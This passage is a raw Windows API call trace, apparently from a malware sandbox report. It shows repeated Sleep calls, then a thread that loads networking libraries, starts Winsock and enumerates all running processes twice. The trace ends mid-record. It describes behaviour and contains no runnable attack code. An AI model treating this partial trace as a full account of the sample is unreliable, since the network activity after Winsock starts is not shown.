[0064.717] Sleep (dwMilliseconds=0x3e8) [0065.732] Sleep (dwMilliseconds=0x3e8) [0066.778] Sleep (dwMilliseconds=0x3e8) [0067.790] Sleep (dwMilliseconds=0x3e8) [0068.804] Sleep (dwMilliseconds=0x3e8) [0069.818] Sleep (dwMilliseconds=0x3e8) [0070.832] Sleep (dwMilliseconds=0x3e8) [0071.846] Sleep (dwMilliseconds=0x3e8) [0072.860] Sleep (dwMilliseconds=0x3e8) [0073.874] Sleep (dwMilliseconds=0x3e8) [0074.888] Sleep (dwMilliseconds=0x3e8) [0075.902] Sleep (dwMilliseconds=0x3e8) [0076.916] Sleep (dwMilliseconds=0x3e8) [0077.930] Sleep (dwMilliseconds=0x3e8) [0078.944] Sleep (dwMilliseconds=0x3e8) [0079.958] Sleep (dwMilliseconds=0x3e8) [0080.972] Sleep (dwMilliseconds=0x3e8) [0081.986] Sleep (dwMilliseconds=0x3e8) [0083.000] Sleep (dwMilliseconds=0x3e8) [0084.014] Sleep (dwMilliseconds=0x3e8) [0085.028] Sleep (dwMilliseconds=0x3e8) [0086.042] Sleep (dwMilliseconds=0x3e8) [0087.056] Sleep (dwMilliseconds=0x3e8) [0088.070] Sleep (dwMilliseconds=0x3e8) [0089.084] Sleep (dwMilliseconds=0x3e8) [0090.098] Sleep (dwMilliseconds=0x3e8) [0091.112] Sleep (dwMilliseconds=0x3e8) [0092.126] Sleep (dwMilliseconds=0x3e8) [0093.140] Sleep (dwMilliseconds=0x3e8) [0094.155] Sleep (dwMilliseconds=0x3e8) [0095.168] Sleep (dwMilliseconds=0x3e8) [0096.182] Sleep (dwMilliseconds=0x3e8) [0097.196] Sleep (dwMilliseconds=0x3e8) [0098.245] Sleep (dwMilliseconds=0x3e8) [0099.286] Sleep (dwMilliseconds=0x3e8) Thread: id = 48 os_tid = 0xa8c [0059.653] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75fe0000 [0059.655] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77280000 [0059.655] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x76f10000 [0059.656] LoadLibraryA (lpLibFileName="Ws2_32.dll") returned 0x76dd0000 [0059.656] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x70ecc8 | out: lpWSAData=0x70ecc8) returned 0 [0059.662] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0059.664] Process32FirstW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.664] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.665] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.665] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.666] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.666] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.666] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.667] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.667] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.668] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0059.668] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.668] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.669] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.669] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.670] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.670] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.670] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.671] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.671] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.672] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.672] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.672] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.673] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.673] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.674] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.674] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.675] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.675] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0059.675] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0059.676] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0059.676] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0059.677] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0059.677] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0059.677] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0059.678] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0059.678] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0059.679] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0059.679] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0059.680] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0059.680] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0059.680] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0059.681] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0059.681] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0059.682] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0059.682] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0059.682] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0059.683] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0059.683] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0059.684] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0059.684] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.684] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0059.685] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.685] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0059.686] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.686] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.686] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 0 [0059.687] CloseHandle (hObject=0x100) returned 1 [0059.687] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0059.688] Process32FirstW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.689] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.689] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.690] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.690] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.690] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.691] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.691] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.692] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.692] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0059.693] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.693] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.694] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.694] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.694] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.695] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.695] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.696] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.696] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.697] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.697] Process32NextW (in: hSnapshot=0x100, lppe=0x70eb38 | out: lppe=0x70eb38*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, 